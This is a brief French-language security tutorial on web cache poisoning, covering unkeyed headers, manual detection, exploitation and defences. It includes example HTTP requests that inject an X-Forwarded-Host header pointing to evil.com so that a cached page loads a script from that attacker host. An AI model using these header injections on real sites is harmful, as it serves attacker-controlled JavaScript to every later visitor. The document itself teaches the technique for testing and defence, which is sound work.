Web Cache Poisoning — Empoisonnement de cache

Cache Avancé

Principe

L'attaquant fait stocker une réponse malveillante dans un cache partagé (CDN, reverse proxy) en exploitant des entrées non incluses dans la clé de cache (en-têtes "unkeyed") mais reflétées dans la réponse. La charge est ensuite servie à tous les visiteurs suivants.

Identifier les unkeyed inputs

# Param Miner (Burp) automatise la détection
# Test manuel : injecter un header et chercher un reflet caché
GET /?cb=12345 HTTP/1.1
Host: target.com
X-Forwarded-Host: evil.com

# Si la réponse cachée contient evil.com (ex: dans une balise <script src>)
# -> cache poisoning exploitable

Exploitation typique

# Forcer le chargement d un JS malveillant pour tous
X-Forwarded-Host: evil.com
# -> <script src="//evil.com/app.js"> mis en cache

# Vérifier le HIT de cache
# Age: > 0  et  X-Cache: HIT

Défenses

Inclure dans la clé de cache tous les en-têtes qui influencent la réponse (Vary), ne pas refléter d'en-têtes non fiables, normaliser les requêtes au niveau du CDN et désactiver la mise en cache des réponses dynamiques sensibles.